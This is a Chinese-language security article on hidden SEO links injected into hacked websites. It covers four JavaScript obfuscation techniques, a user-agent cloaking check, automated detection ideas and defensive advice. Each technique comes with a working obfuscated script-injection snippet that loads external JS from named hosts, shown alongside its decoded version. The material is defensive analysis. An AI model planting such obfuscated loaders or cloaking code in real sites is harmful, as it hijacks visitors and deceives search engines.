关于暗链那些不得不说的事儿
字数 1317 2025-08-15 21:33:52

暗链技术分析与检测方法

1. 暗链概述

暗链是SEO作弊手法中常见的一种手段,指通过非正常方式获取其他网站的反向链接。最常见的方式是通过网站程序漏洞获取高权重网站的webshell,然后在被黑网站上植入自己网站的链接。

暗链分类

  1. JS引入型暗链

    • 通过修改网站title,引入外部JavaScript代码实现跳转
    • 当用户通过搜索引擎搜索特定关键词时触发跳转
    • 当前主流暗链形式
  2. HTML隐藏型暗链

    • 通过CSS或JavaScript隐藏链接(如position为负、display:none)
    • 目的是提升非法网站的SEO排名
    • 目前较少使用

2. JS引入型暗链技术分析

2.1 Window对象引入暗链

技术原理

  • 调用window对象中的document.write方法引入外部JS代码
  • 配合16进制编码实现隐藏

典型代码示例

<script type="text/javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] 
('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
</script>

解码后内容

document.write('<script type="text/javascript" src="http://seo268.su.bcebos.com/1100kai.js"></script>');

特征

  • 使用window对象和16进制编码
  • 通常配合UA检测(如检测百度来源)

2.2 String.fromCharCode方法引入暗链

技术原理

  • 使用String.fromCharCode函数将10进制ASCII码转换为字符
  • 通过document.write方法写入页面

典型代码示例

<script>
var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62);
document.write(xt);
</script>

解码后内容

<script type="text/javascript" src="https://sfhufh2.com/ylc.js"></script>

2.3 十进制Unicode编码引入JavaScript

技术原理

  • 利用HTML特性,将script标签的src属性值使用十进制Unicode编码

典型代码示例

<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#99;&#113;&#105;&#97;&#110;&#46;&#99;&#110;&#47;&#97;&#121;&#120;&#49;&#54;&#56;&#46;&#106;&#115;"></script>

解码后内容

<script type="text/javascript" src="https://www.cqian.cn/ayx168.js"></script>

2.4 eval函数混淆引入

技术原理

  • 使用eval函数对代码进行混淆加密
  • 通常与其他引入方式结合使用

典型代码示例

<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6n|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))
</script>

解码后内容
通常还原为window对象引入或String.fromCharCode引入的方式

3. 常见伪装手法

  1. 编码转换

    • 16进制编码
    • 10进制Unicode编码
    • 10进制ASCII码
  2. UA检测

    if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){
        document.title = "正常标题"
    }
    
  3. 动态修改页面内容

    • 根据访问来源决定是否显示暗链
    • 对普通用户隐藏,只对搜索引擎可见

4. 自动化检测思路

  1. Window对象引入检测

    • 检测是否使用16进制代码
    • 解码后检查是否包含script标签
    • 检查是否引入外部JS
  2. String.fromCharCode检测

    • 检测变量是否被document.write引用
    • 解码10进制ASCII内容分析
  3. Script标签src属性检测

    • 解码10进制Unicode编码
    • 结合威胁情报分析外部JS
  4. eval混淆检测

    • 先进行逆向还原
    • 再按上述方法分析还原后的代码
  5. 综合检测策略

    • 检查异常编码(16进制、10进制等)
    • 分析document.write写入内容
    • 检测UA判断逻辑
    • 外部JS链接威胁分析
    • 标题/关键词异常编码检测

5. 防御建议

  1. 网站安全防护

    • 及时修补网站漏洞
    • 加强webshell检测
    • 设置文件修改监控
  2. 内容安全检测

    • 定期扫描页面异常代码
    • 监控title/keywords变更
    • 建立JS引入白名单
  3. 应急响应

    • 发现暗链后及时清除
    • 追溯入侵途径
    • 修改所有相关凭证
  4. SEO监控

    • 监控网站在搜索引擎的表现
    • 关注异常关键词排名
    • 设置Google Search Console警报
暗链技术分析与检测方法 1. 暗链概述 暗链是SEO作弊手法中常见的一种手段,指通过非正常方式获取其他网站的反向链接。最常见的方式是通过网站程序漏洞获取高权重网站的webshell,然后在被黑网站上植入自己网站的链接。 暗链分类 JS引入型暗链 通过修改网站title,引入外部JavaScript代码实现跳转 当用户通过搜索引擎搜索特定关键词时触发跳转 当前主流暗链形式 HTML隐藏型暗链 通过CSS或JavaScript隐藏链接(如position为负、display:none) 目的是提升非法网站的SEO排名 目前较少使用 2. JS引入型暗链技术分析 2.1 Window对象引入暗链 技术原理 : 调用window对象中的document.write方法引入外部JS代码 配合16进制编码实现隐藏 典型代码示例 : 解码后内容 : 特征 : 使用window对象和16进制编码 通常配合UA检测(如检测百度来源) 2.2 String.fromCharCode方法引入暗链 技术原理 : 使用String.fromCharCode函数将10进制ASCII码转换为字符 通过document.write方法写入页面 典型代码示例 : 解码后内容 : 2.3 十进制Unicode编码引入JavaScript 技术原理 : 利用HTML特性,将script标签的src属性值使用十进制Unicode编码 典型代码示例 : 解码后内容 : 2.4 eval函数混淆引入 技术原理 : 使用eval函数对代码进行混淆加密 通常与其他引入方式结合使用 典型代码示例 : 解码后内容 : 通常还原为window对象引入或String.fromCharCode引入的方式 3. 常见伪装手法 编码转换 : 16进制编码 10进制Unicode编码 10进制ASCII码 UA检测 : 动态修改页面内容 : 根据访问来源决定是否显示暗链 对普通用户隐藏,只对搜索引擎可见 4. 自动化检测思路 Window对象引入检测 : 检测是否使用16进制代码 解码后检查是否包含script标签 检查是否引入外部JS String.fromCharCode检测 : 检测变量是否被document.write引用 解码10进制ASCII内容分析 Script标签src属性检测 : 解码10进制Unicode编码 结合威胁情报分析外部JS eval混淆检测 : 先进行逆向还原 再按上述方法分析还原后的代码 综合检测策略 : 检查异常编码(16进制、10进制等) 分析document.write写入内容 检测UA判断逻辑 外部JS链接威胁分析 标题/关键词异常编码检测 5. 防御建议 网站安全防护 : 及时修补网站漏洞 加强webshell检测 设置文件修改监控 内容安全检测 : 定期扫描页面异常代码 监控title/keywords变更 建立JS引入白名单 应急响应 : 发现暗链后及时清除 追溯入侵途径 修改所有相关凭证 SEO监控 : 监控网站在搜索引擎的表现 关注异常关键词排名 设置Google Search Console警报